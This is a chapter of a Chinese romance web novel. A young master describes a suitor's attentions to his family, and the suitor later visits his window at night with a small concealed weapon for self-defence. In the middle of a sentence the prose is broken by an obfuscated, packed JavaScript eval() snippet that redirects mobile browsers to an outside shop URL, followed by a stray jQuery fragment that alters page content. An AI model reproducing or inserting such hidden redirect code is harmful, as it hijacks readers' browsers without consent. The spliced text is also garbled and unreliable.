杜清川被两个人四只眼睛盯着,躲都没处躲。
他垂下眼,手指无意识地绞着衣角,沉默了好一会儿,才小声开口:“他……”他顿了顿,声音更轻了,“他对我很好。”
“然后呢?”赵洛瑾问。
杜清川抿了抿唇,继续道:“去新玥的时候,路上他怕我冷,把披风给了我。后来我去镖局帮忙理账,他还在账房里添了屏风和床榻,怕我午憩时没地方歇息。”
“醒来还会给我准备吃的,喝的。”
他顿了顿,声音里多了几分自己都没察觉的柔软:“有一回吃饭,我没什么胃口,便只是每样菜尝两口就放下了。”
“我没想到他会留意,然后下午于敏信就带了我爱吃的桂花糕过来……”
他垂下眼,嘴角却悄悄翘了起来:“我问他怎么知道我喜欢吃这家的桂花糕时,他说是因为上次看我多吃了两块,他便记住了。”
林落莹眉毛轻挑,这种细心,不是装得出来的。
赵洛瑾听得眼睛都亮了,捂着嘴小声说:“这哪里是待你好,这分明是把你放在心尖上了……”
林落莹和赵洛瑾对视一眼,都从对方眼里看到了“年轻真好”四个字。
杜清川还是有些不好意思,但也是在回忆着于他而言珍贵的画面:“还有年集那日,人太多了,他怕我被挤到,一直走在我外侧,小心地护着我。”
“有人推搡过来,他第一时间就抬手挡了,明明他自己胳膊上被撞了好几下,却是一声都没吭。”
他抬起眼,看了看母亲跟嫂子,又垂下:“后来看杂耍,我想往里挤又挤不进去,他就……”他的声音轻得几乎听不见,“他就……”
“就怎么样?”
“他就牵着我,从人群里穿过去了。”
“牵着你?”林落莹的语气里没有责备,只有单纯的好奇。
杜清川的脸又红了,小声辩解:“是隔着衣袖牵着的……”
林落莹看着他这副模样,她也轻轻笑了,接着把他的手握在手心里,拍了拍:“他对你好,娘就放心了。”
话落,她又补了一句,带着促狭的语气:“不过,接下来的行程会是什么样的,等你们回来,可得好好跟娘说道说道。”
“娘!”杜清川红着脸喊了一声,惹得赵洛瑾在一旁笑出了声。
杜清川低着头,嘴角却翘着下不去了,那些藏在细枝末节里的好,他都记得,每一件,都记得。
暖阁里的笑声渐渐歇了。
赵洛瑾打了个小小的哈欠,林落莹便起身,替她掖了掖被角:“你好好歇着,月子里可不能累着。”又看了看小床里已经睡熟的团哥儿,轻声道,“这孩子睡得好香,随他爹。”
赵洛瑾笑着应了,又看了杜清川一眼,眼里带着几分促狭:“清川,路上可得好好照顾自己,平安回来后还要听你讲故事呢。”
杜清川红着脸点头:“嫂嫂放心,你好好休息。”
三人这才散了。
林落莹送杜清川到院门口,拉着他的手又叮嘱了几句“路上小心”“记得照顾好自己”之类的话,才依依不舍地松开。
杜清川看着母亲鬓边几根新添的白发,鼻子微微发酸,轻声说:“娘,我会好好的,您放心。”
林落莹点点头,没再说什么,只是拍了拍他的手背,转身回了屋。
杜清川站在原地,看着母亲的背影消失在门内,这才深吸一口气,转身往自己的院子走去。
出了暖阁,夜风微凉,吹散了脸上的热度。
他走了几步,忽然停下来,轻声问身后的安然:“纪总镖头……可走了?”
“没走呢。”安然摇摇头,压低声音道:“方才听前头的小厮说,已经给纪总镖头带到客房了,这会儿估计已经歇下了。”
杜清川闻言,脚步顿了顿,唇角不自觉地翘了起来,“那也好。”他轻声说,语气里带着一丝自己都没察觉的雀跃,脚步轻快地往自己院子走去。
身后的安然和知瑶对视一眼,都从对方眼里看到了一丝了然的笑意,却都没戳破。
回到自己的小院,杜清川推开门,熟悉的气息扑面而来。
这间他住了十几年的屋子,还是走之前的模样,书案上摆着他常用的笔墨,窗台上的兰草被人打理得很好,绿油油的叶子在烛光下泛着温润的光。
杜清川在门口站了一会儿,知晓家里人定是时常过来,心里涌起一股说不清的暖意。
“公子,热水备好了。”知瑶的声音从身后传来。
杜清川应了一声,洗漱更衣,换上了柔软的寝衣。
房间早已烧得暖和,炭盆里的火苗轻轻跳动着,烘得人懒洋洋的,他便让安然和知瑶都去歇息。
知瑶有些不放心,在门口多站了一会儿,直到杜清川再三保证“有事一定喊你们”,才肯离开。
房间里安静下来,只剩下烛火偶尔“噼啪”一声,杜清川穿着寝衣,披了件外衫,坐在书案前,把从新玥带回来的画一幅幅展开。
在新玥画的那些山水、花鸟,还有偶尔兴起画的几幅小景,和以前的画放在一起,新旧交错,像是把两段时光连了起来。
翻着翻着,最下面那幅画露了出来,画纸边缘已经有一点微微泛黄了,却连一个折痕都没有。
那是他们初遇之后画的,画上的人未绘面容,仅有一个挺拔冷峻的轮廓,他抬手轻抚,他记得当时他还不明白,为何突然偏偏就画了那人的背影,于是愣了神,以至于在这肩上落下一滴墨。
如今再看,他忽然就懂了。
杜清川指尖轻轻拂过画中人的轮廓,唇角不自觉地弯了起来。
其实那日他在雪中策马的模样,他并未细看,可奇怪的是画的时候,每一笔却清晰得像刻在脑子里似的。
他再次垂眸笑了笑,耳根又悄悄热了起来。
就在这时。
“笃、笃。”
窗棂被人轻轻敲了两下,杜清川一愣,抬眼看向那扇紧闭的窗。
夜色已深,谁会在这个时候敲他的窗?
杜清川轻手轻脚地走到窗边,隔着窗棂,压低声音问了句:“哪位?”
窗外安静了一瞬,随即传来:“是我。”
只两个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17619738|205069||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
字,是那个他逐渐熟悉的低沉声音。
杜清川几乎是下意识地伸手,推开了窗户,夜风带着冬日的凉意涌进来,烛火被吹得晃了晃。
窗外,纪雁行一身玄色劲装,正站在月光里。
他显然也没想到杜清川会开得这么快,微微一怔,目光落在少年身上,杜清川披着外衫,里面是单薄的寝衣,领口微微松着,露出一小截白皙的脖颈。
乌发半干地散在肩上,脸上还带着沐浴后的薄红,一双眸子在烛光下显得格外清亮。
纪雁行的目光只停了一瞬,便立刻垂下眼,怕唐突了对方,但这一垂眼,他的目光便落在了书案上,那幅展开的画,正对着窗户。
一片绿竹中,有一人身影,未绘面容,只看得出是一男子。
画中人,身材高大,衣袂被风吹起,腰间别有一剑,有些眼熟,纪雁行愣了愣,不由得微微倾身,想看得更仔细些。
杜清川顺着他的目光低头一看,脸一热,随即手忙脚乱地把画翻过去,动作快得像被烫到了似的。
纪雁行抬起头,便看到对方精致的小脸红得几乎要滴血,又对上了那双羞得不知往哪儿放的眸子,虽然对方动作很快,可他认出那柄剑,画上人,应当是他。
一时间,安静了下来。
两人隔着窗户,一个站在月光里,一个站在烛光中;一个红着脸,一个眼中有千言万语。
纪雁行忽然轻轻笑了一声,声音很低地说出了心里话:“画得很好。”
杜清川闻言有点想把脸埋进那堆画里,他小声嘟囔了一句什么,纪雁行没听清,却看见那露在外面的耳尖。
冬日风大,他不便进去,他侧过身子,尽量挡住外头的冷风,他不忍再逗他,从怀中取出那枚早已准备好的暗器,轻轻放在窗台上。
“这个给你。”他的声音沉稳下来,带着几分郑重,“路上带着,防身用。东西不重,你藏在袖中便可。”
杜清川抬起头,看了一眼那枚小巧精致的暗器,又看了看他。
“日后再教你如何使用。”纪雁行说,目光柔和,“天色不早了,早点歇息。”
他顿了顿,像是想说什么,最终只是微微弯了弯唇角,替他合上了窗,转身,消失在月色里。
杜清川坐在窗前,看着窗台上那枚暗器,愣了好一会儿。
那暗器小巧玲珑的,放在他手掌心恰恰好,他小心地收了起来。
刚刚夜风吹进来,似乎带着那人身上淡淡的皂角香。
半晌,他弯了弯唇角低头,把那幅被翻过去的画又轻轻翻了过来,重新拿起笔,蘸了红墨,在那空空的剑柄处,细细地、一笔一笔地添了上去。
不多时,一枚栩栩如生的剑穗便垂落在画中人的剑下,流苏仿佛能被风吹动。
那正是他送与对方的礼物,杜清川放下笔,端详了一会儿,轻轻笑了。
画中人依旧没有面容,只是这回,剑上挂着他的心意。
杜清川这才心满意足地熄了灯,钻进被窝。
窗外月色如水,被角还残留着阳光晒过的味道,他闭上眼,很快便睡着了。